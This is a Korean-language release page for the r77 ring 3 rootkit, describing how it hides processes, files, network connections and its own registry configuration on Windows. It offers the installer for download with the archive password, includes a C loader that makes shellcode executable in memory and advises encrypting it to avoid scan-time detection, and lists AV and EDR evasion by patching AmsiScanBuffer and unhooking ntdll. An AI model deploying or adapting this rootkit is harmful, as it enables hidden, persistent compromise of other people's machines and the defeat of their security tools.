
파일리스 링 3 루트킷으로, 설치 프로그램과 지속성을 가지며 프로세스, 파일, 네트워크 연결 등을 숨깁니다.
r77은 모든 것을 숨기는 링 3 루트킷입니다:
"$77"로 시작하는 모든 것이 숨겨집니다.

동적 설정 시스템은 PID 및 이름으로 프로세스를, 전체 경로로 파일 시스템 항목을, 특정 포트의 TCP 및 UDP 연결 등을 숨길 수 있습니다.

설정은 HKEY_LOCAL_MACHINE\SOFTWARE\$77config에 위치하며, 권한 상승 없이 모든 프로세스가 쓸 수 있습니다. 이 키의 DACL은 모든 사용자에게 전체 액세스를 허용하도록 설정되어 있습니다.
또한, $77config 키는 루트킷에 의해 숨겨집니다.
r77 배포에는 Install.exe 하나의 파일만 필요합니다. 실행 시 r77을 시스템에 지속시키고 모든 실행 중인 프로세스에 주입합니다.
Uninstall.exe는 r77을 시스템에서 완전하고 안전하게 제거합니다.
Install.shellcode는 설치 프로그램의 셸코드 버전입니다. 이렇게 하면 Install.exe를 드롭하지 않고 설치를 통합할 수 있습니다. 셸코드는 메모리에 로드하고 함수 포인터로 캐스팅한 후 실행하면 됩니다:
int main()
{
// 1. Load Install.shellcode from resources or from a BYTE[]
// Ideally, encrypt the file and decrypt it here to avoid scantime detection.
LPBYTE shellCode = ...
// 2. Make the shellcode RWX.
DWORD oldProtect;
VirtualProtect(shellCode, shellCodeSize, PAGE_EXECUTE_READWRITE, &oldProtect);
// 3. Cast the buffer to a function pointer and execute it.
((void(*)())shellCode)();
// This is the fileless equivalent to executing Install.exe.
return 0;
}
루트킷은 시스템 메모리에 상주하며 디스크에 파일을 쓰지 않습니다. 이는 여러 단계를 통해 이루어집니다.
이 그래프는 설치 프로그램 실행부터 모든 프로세스에서 실행되는 루트킷 DLL까지의 각 단계를 보여줍니다. 문서에는 각 단계의 구현에 대한 자세한 내용이 포함된 장이 있습니다.

여러 AV 및 EDR 우회 기술이 사용됩니다:
amsi.dll!AmsiScanBuffer를 패치하여 항상 AMSI_RESULT_CLEAN을 반환하도록 함으로써 AMSI를 비활성화합니다. 다형성을 사용하여 AMSI 우회의 시그니처 탐지를 회피합니다.ntdll.dll을 후킹하여 API 호출을 모니터링하므로, 디스크에서 새 복사본을 로드하고 원래 섹션을 복원하여 이러한 후크를 제거해야 합니다. 그렇지 않으면 프로세스 인젝션이 탐지됩니다.테스트 콘솔은 개별 프로세스에 r77을 주입하고 설정 시스템을 시험해 볼 수 있는 유용한 도구입니다.

r77 및 내부 구조, 배포 및 통합 방법에 대한 포괄적인 개요를 보려면 기술 문서를 읽어주세요.
r77 Rootkit 1.8.2.zip
(ZIP 비밀번호: bytecode77)
기술 문서